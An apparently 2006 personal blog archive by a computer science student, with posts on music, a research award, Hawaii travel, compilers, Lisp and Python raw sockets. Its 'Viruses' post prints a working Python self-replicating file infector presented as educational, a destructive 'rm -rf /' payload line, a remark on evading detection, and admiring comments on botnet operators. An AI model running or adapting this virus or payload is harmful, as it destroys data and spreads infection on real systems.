Archive for: 2010 2009 2008 2007 2006 2005 2004 2003

Fract and Music

2006-12-29 Tags: ,

One problem with a really stable system is that you don't notice when your init scripts are broken. Fract have been down for the last few days. It happened that it wasn't properly restarting after a power cycle... It should be OK now but don't hesitate to annoy me by email if things aren't working as expected.

Now lets talk about music. Most music today is complete crap. Musicians stick to "the formula", always the same playtime, the same instruments, the same verse/chorus alternation, the same... The best artists can produce excellent stuff but for some reason they won't refrain from publishing the crap too, and they publish a lot of it... Take Wumpscut as an example, Draussen and Totmacher is among the most brilliant music since Beethoven but if you are dumb enough to just drop the CD in your player and push play you'll fall on crap like Wolf and Mortal Highway. Worst, there is plenty of random noisish padding like Phase Shifter and Beleive in Me. Am I suppose to care that you recorded the sound test of your latest reverb pedal? This guy must be smart, can he really not tell what is crap and what is good?

CRA Outstanding Undergraduate Award

2006-12-07 Tags:

The Computing Research Association promotes research in computer science and related fields. At first I was disappointed to only get an honorable mention for its outstanding undergraduate award but since the announcement I received several emails from top tier universities inviting me to apply to their grad school. I guess an honorable mention is honorable after all. Now, how am I going to cope with all the paper work...

HTTP Illustrated

2006-11-29 Tags: , , ,

In TCP/IP Illustrated, Richard Stevens describe the TCP/IP protocol stack by generating interesting situations and looking at what happens on the wire with tcpdump. Don't look for pretty illustrations, "illustrated" here means "by examples".

This is an excellent set of books, a bit dated but the technique lives on. Learning this stuff by just reading the RFCs must be painful. For some reason the RFC editors want the official documents to be plain ASCII with manual page breaks. For the nostalgic it must feel good to read document in 2006 that look exactly like a bunch of typewritten pages from 1966. The RFC editor even recommends using troff to "typeset" the document... Let's hope that they hear about Docbook one of these days. OK Docbook is not that nice, we can blame XML's verbosity for most of the problems and the rest of the blame goes to the extremely fragile tool chain that is considered "standard" on most GNU/Linux distributions. But at least with Docbook you can hack your own tool chain and you'll end up with stuff that don't look like crap.

Raw Sockets

2006-11-22 Tags: , ,

Python is sometimes described as "just a scripting language". This show how much some people want to separate all programming languages into two or three categories without even knowing what they are talking about.

One nice thing about Python is the way it exposes the Unix internals. Almost all the system calls have bindings with interface so close to C that you can follow the man pages when using them. Of course, efficiency is not always there but you can sketch out a solution in no time and fall back to C when the profiler tells you to do so.

The socket API is exposed in all its gory details and it possible to do raw sockets: to build each packets byte by byte including the headers. The C API uses unions that are casted as struct when an individual field needs to be set and casted as byte array when written on the wire. The Python API uses string objects which makes it a bit painful to set a single field but poses no problems when building the packets from scratch.

As an example, its is possible to implement ping in just over 100 lines. Using time.time(), we don't have enough resolution to make accurate reading for round trips under ~5ms but it still works pretty much as expected otherwise. Note that if you are to try it you'll need to be root since it's the only way to access raw sockets (the real ping is setuid).

A new non baroque language should aim to be as cleaver as Python in exposing the host platform internals. CL+UFFI is not bad, SBCL's sb-posix is especially nice. Skilled use of macros makes the whole binding set easy to read and to maintain:

       (define-call "link" int minusp (oldpath filename) 
                                      (newpath filename))
       (define-call "lseek" sb-posix::off-t minusp (fd file-descriptor) 
                                                   (offset sb-posix::off-t) 
                                                   (whence int))
       (define-call "mkdir" int minusp (pathname filename) 
                                       (mode sb-posix::mode-t))
       (define-call "mkstemp" int minusp (template c-string))
       (define-call "sync" void never-fails)

San Francisco

2006-11-21 Tags: , ,

I spent a few days last week in the San Francisco Bay area. For a geek, visiting the legendary Silicon Valley is a pilgrimage.

Paul Graham has a few interesting essays on what might make the magic happen in Silicon Valley. Indeed, when you are there you can feel that some magic is going on but it is incredibly evasive, you can't point at it or describe it but it's there. Someone can cross the whole valley on the 101 or even on El Camino and all what you see is an endless sprawl. The weather is nice but we are still in Suburbia.

When you visit the computer history museum, the power of the valley starts to unfold. As the guide walk you through the landmark artifacts of the computer world he will add "[...] was developed just here down the road.", "[...] not far from here in Stanford." or "[...] and he was here last year and told us a story about this computer.". Some companies have really cool offices (taken from here), people move around with kick scooters and all the big players have offices in the area.

Why they go to the ugly sprawl instead of San Francisco is still a mystery to me. San Francisco is a great city. Being on the peninsula keeps the whole thing compact and compact cities like Montréal are more pedestrian friendly. You can just wander around and stop by an Irish pub or one or the numerous sea food restaurant in the Fisherman's Wharf. There is an endless downtown beach with huge waves but the water is a bit cold so surfers need a wetsuit.

A compact city don't mean that you are always trapped between sky scrapers. The Golden Gate Park offers a peaceful environment that would require more than one day to explore. The city has numerous fairly steep hills and parking a car there must be a challenge, I imagine the balancing feat required to park a motorcycle.

Paul Graham probably score a point when he conjectures that you need great universities to reproduce Silicon Valley. When you walk on the Stanford and Berkeley campuses you feel a majestic excellence. There are Rodin statues and stone arcades all over the place. When you are there, you want to be worthy of this prominence. Even if you are just passing by.

Walking on Lava

2006-11-11 Tags: , , , , ,

It is kind of time for another round of pictures from Hawaii. Since everyone prefer lava and since Hawaii in the only place in the world where tourists freely roam on an active volcano, only a few centimeters from glowing lava, I shall start with the pictures of my hikes on the Kilauea.

But first, since this is a geek's blog, I will do some technical rambling. Digital camera manufactures boast that their products can capture a large amount of megapixels. Is this any good for the user? I say hell no! I'll be talking trough my hat since I only used one digital camera seriously but I received enough pictures from others that I'm confident that what I say is true.

Do you recall those new parents who sent you an email with only a few pictures totaling several megabytes? Why do they do that? Don't they know that you are using a monitor that can't display such a large image? Do they expect you to zoom in on this youngling to convince yourself that its eyes are closed? Do they expect you to print this picture? A cheap printer with cheap paper can't match this resolution and sorry buddies, I won't take your pix to a print shop. I'm not saying that parent should not send emails with pictures, what I'm saying is: please, no pictures larger that 300k!

On Invocations

2006-10-04 Tags: , ,

There is no doubt that all programming language have problems and that a new one is needed as soon as possible. Once someone has an idea of what he want his language to be, he need to write either a compiler, an interpreter or both. You don't see pure interpreters that much these days, most language implementations at least compile to byte code. Though the principle of a compiler is simple, we see them as obscure forgotten charms carefully crafter by wizards with powerful incantations.

A compiler just translates the text of a program in language A into a program in language B. Technically, the lexer split the program into tokens. The parser then build a tree with the tokens and give this tree some meaning, that's the abstract syntax tree (AST). Finally the code generator walk the tree and print all the nodes in language B.

For a really simple language a compiler will fit in a few hundred lines. It gets tricky when you want to make an interesting language. For the language to be fast you need to transform the AST to eliminate slow operations. Such optimizations include loop unrolling, function call inlining and tail call eliminations. Interesting languages will also include a runtime environment: closures bindings, garbage collectors, type system, etc. The target audience for those topics being limited, there are no general resources where one could learn them. But if you ask in the right place, you might get a list of grimoires with many spells related to those dark arts.

Even though thaumaturgy will never be easy to learn, it is comforting to see that one can learn to conjure without going through apprenticeship. As the task of making a new programming language becomes surmountable, the question "What feature should a new language have?" becomes fixation, a puzzle that the warlock must solve to achieve wizardry.

On Talks

2006-10-01 Tags: ,

Last sunday I presented my very first research paper in a scientific conference. That's an intimidating experience but I survived and I was able to expose our work properly, if I can trust the comments on my performance.

This is an aspect of scientific research that is completely skipped from science classes: how peer review works and why is it effective at separating science and religion? One first point to clear up is that there is absolutely no consensus. You often read non sense like "scientists believe foo and blah". Scientists don't believe anything and what explanation they use for natural facts is not the same for everyone. As an example, since it was a conference on comparative genomic, probably everyone in the room would agree that saying that a super being created all life as we know it around 10k years ago isn't a useful model to explain what we see. Even though the general idea that there is some evolution going on is considered reasonable, we had a presentation on how a tree of life don't make sense and the speaker wasn't torched as an heretic. He revised the model of the tree of life to include lateral gene transfer: something that we observe. This is exactly how science differ from religion. A dogma must be accepted or you are anathema. A scientific theory is exactly that: a theory. Everyone know that it is likely to miss some details and it's part of its goal to be revised.

Programming Languages

2006-09-28 Tags: ,

In The Hundred-Year Language Paul Graham pretend that the language that we will use in 100 years would be great to have now. I think he is wrong. He probably also think he is wrong because he seems to have stopped working on Arc. In Worse is Better, Richard Gabriel argue that Unix and C came to lead because implementation simplicity is as important as interface simplicity. Every now and them you read a post on Planet Lisp about how we should fix Lisp. Since Paul Graham isn't likely to do it lets look at what it means and how someone could do it

Lisp is more or less a family of programming languages with a few key features though some may argue about the exact minimal set to be called a Lisp: simple sexp syntax, dynamic typing, macros, garbage collection, first class functions, closures and few other things like built-in linked lists and programming in the ast instead of line oriented command lists. There are two members of that family that still have a decent community and who can be used for general programming: Common Lisp and Scheme.

On Smashing Stuff

2006-09-05

Since I didn't make a proper recap of the summer school yet and that this slashdot comment of mine made it to +5 I think that I should link to it from here.

More to come real soon now(tm).

Big Island part 1

2006-08-07 Tags: , , , ,

Even though there is a lot to say about the CASS and about Oahu, I can't find the time to post updates. I will do a good summary when I can but this weekend was the field trip to Big Island and many asked for updates so here is a quick summary.

We left Oahu early Saturday morning. The inter-island flight is less than an hour, we just climb up, get a scenic view of all the islands and go down in the cloudy Hilo. Big Island is really young, less than a million years old. Erosion has only dug rocky rivers and there are waterfalls everywhere. We were ahead off our schedule so we had time to do hiking in the morning. Around Hilo there is heavy rain forest, as we climb up on the Mauna Kea we cross many different eco systems, from deciduous forest to shrub lands and tundra.

While getting acclimated at the Onizuka Station we went for a hike on cinder cones. The station is above most of the clouds, the view was breath taking. The oxygen lean air gave us a good buzz, a diluted preview of what to expect at the summit. We had the honor to get dinner at Halepauhaku, the small lodge where astronomers and support staff are hosted.

CASS Day 1

2006-07-24 Tags: , ,

I'm finally in Honolulu! The flight was long and event less. I had a lot time to meditade on the landscape. My first idea was the Montreal really turned into a sprawl but seeing Los Angeles reassured me a bit.

My first day was relax since jet lag made me too sleepy to do anything. Just a bit of stargazing on the beech. The air is really dry in Honolulu. The beech is in dowtown Waikiki but you can see many stars. I don't see that many when I ride 45 mins away from Montreal.

On the second day we went surfing. Mahdi is a great surf teacher. I took a longboard (as recommended by Mahdi) and after 30 minutes I was able to catch waves and stand-up. When you look at surfers it all seems easy and relaxing but its actually pretty demanding. You need to paddle a lot, and fast, if you want to catch the waves. Friction with the board is kind of bad too. My nipples are still burning, I grabed one of those lycra shirts, lets hope that it will fix that. The beaches are really impressive (yes that me in the water). Temperature is perfect and the water is extremly clear.

w00t!

2006-05-01 Tags: ,

I'm accepted for the Computational Astrobiology Summer School in Honolulu!! The Hawaii Astrobiology institute has an impressive team, I really look forward to work with them. What is astrobiology? Kind of hard to tell before I attended the summer school but it has something to do with the study of environmental samples from extreme conditions like undersea volcanoes and the evaluation if such a resistant lifeform could live on, say, Enceladus. It looks like I'll have to learn to surf. :-D

Torrent Full of Lisp Porno Movies

2006-03-31 Tags: , , ,

The Mandelbrot Set is the index of the parameters for which there is a connected Julia Set. Seeing how the two are related is quite interesting. Especially with animations. And if you like the little sample, there is a torrent full of them.

The complete source code is included, of course. The walks along the main cardioid and the main bulb are pretty neat. From this we can guess that a walk along some secondary bulb would especially nice. Now, I have to ask for help on that one. The point of intersection of the secondary bulbs are know, they are

   (/ (- 1 (expt (- (exp (* 2 #c(0 1) pi (/ p q))) 1) 2)) 4)

The main bulb is p=1 and q=2. The first person who tell me how to find center of the secondary bulbs will win a custom rendered movie! Isn't it a good deal?

update: the torrent is gone. Bittorrent is great for large files with flash popularity. Without it hosting large files like that would have been really difficult. The catch is that you need seeds and you can't hold on them forever. The movie pack was downloaded 75 times for a total of 19 gigs. Wow! Thanks to all the seeds! I'll pay you back with more fractal stuff soon.

Viruses

2006-02-25 Tags: ,

You sometimes hear non senses like there are no viruses for GNU/Linux. Anyone with half a brain knows otherwise but why is this idea still alive? What is a virus anyway? A computer virus is a program that copies itself into other programs. To avoid being noticed, the virus keep the infected alive. So here is the plan

  • plant an infected program where someone dumb will run it
  • when the infected program starts, the virus kicks in first
  • the virus looks for another program to infect
  • the virus launch the infected program

Simple isn't it? Yes, its dead simple, here is a working example

#!/usr/bin/python

# This is a proof of concept virus for GNU/Linux.  As you can see by
# running it it is possible to have viruses for GNU/Linux.
# Fortunately a sane privilege model will limit the amount of damage
# such a virus will do.

# I, Yannick Gingras <ygingras@ygingras>, wrote this virus for
# educational purpose.  I crippled it so it won't spread.  Use it at
# your own risks.

import sys
import os
import stat
import random
from tempfile import NamedTemporaryFile

TARGETS_DIR = "/tmp/infectable"
PRG = "echo hello" # will be replaced by the targets body
VIRUS = open(os.popen("which "+sys.argv[0]).read().strip()).readlines()
MODE = stat.S_IRWXU + stat.S_IROTH + stat.S_IXOTH

def infected(path):
    # not really good, we won't infect many files...
    return open(path).readline() == VIRUS[0]

def infect():
    if not os.path.isdir(TARGETS_DIR):
        return
    target = os.path.join(TARGETS_DIR,
                          random.choice(os.listdir(TARGETS_DIR)))
    if infected(target):
        return
    data = open(target).read()
    lines = map(lambda l:(len(l)>5 and l[:5]=="PRG =")                 and ("PRG = " + repr(data) + "\n") or l,
                VIRUS)
    open(target, "w").write("".join(lines))
    os.chmod(target, MODE)

def run():
    print "pwn3d!"
    tmp = NamedTemporaryFile("w")
    tmp.write(PRG)
    tmp.file.close()
    os.chmod(tmp.name, MODE)
    os.system(tmp.name+" "+" ".join(map(lambda a:"'%s'" % a,
                                        sys.argv[1:])))

if __name__ == "__main__":
    random.seed()
    infect()
    run()

This nice and portable virus will even run on any system where Python is ported, not just on GNU/Linux. Why are most GNU/Linux systems free of viruses then? You might have noticed that this virus needs to open its target in write mode. Thats the catch. On GNU/Linux users can't open programs in write mode. But someone dumb enough to run this file as root would be in big trouble.

There is something else. Looking at how simple a virus is, I hope people will stop to think that virus writers are programming gods. Writing a virus is so easy that most people who can program never even try to do it. There is no challenge at all. Since I learned how to open a pipe, a long time ago, the idea was clear in my head how a virus was made. I decided write this one down because I notice that this idea is not clear for some people who otherwise are really brilliant persons.

Ok yes there is a bit more to it. This sample virus has no payload. To make it replicate and once is a while bust the whole system you would need to change the payload to something like that

       random.randrange(666) or os.system("rm -rf / &")

Still not such a challenge. To avoid detection you need to replicate but not verbatim. This is a bit hard with python but you could use Perl and be very creativity in formating the code in the target.

Where virus writers are displaying ingenuity is with bot nets. Many "enterprise" vendors are claiming that they have a powerful "grid" solution. You see and hear "grid" everywhere but what does it really means? Grid usually refers to an heterogeneous cluster. Where a cluster is usually a bunch of smaller computers duck taped together to form a bigger computer, sort off. Some massively distributed solutions are available out there like foo@home, distributed.net and boinc but they all seem to miss the big picture. What do I get from running their computation client? And why can't I send my own task to the grid?

Bot masters write viruses that install computation clients on infected computers. When someone wants a computation, he ask a bot master to run it on its infected computers. Bot masters are the first step to the democratization of the distributed computing power. When someone will manage to find a convincing argument for someone to install a distributed computation client, we'll have larger grid networks. And then, the leading grid networks will be the ones where everyone can bid and submit his jobs. Where there will be no overhead. Just download the devel-kit, derive the Cruncher class and upload it to the grid controller with your bid. Jobs could be sent in a priority queue ordered by bid. And we know there is a buck to make in the democratization of the grid because bot masters are already getting rich.

Older stuff


2006-02-11 Random stuff


2006-01-27 Evil All Around


2006-01-16 Marking DNA as spam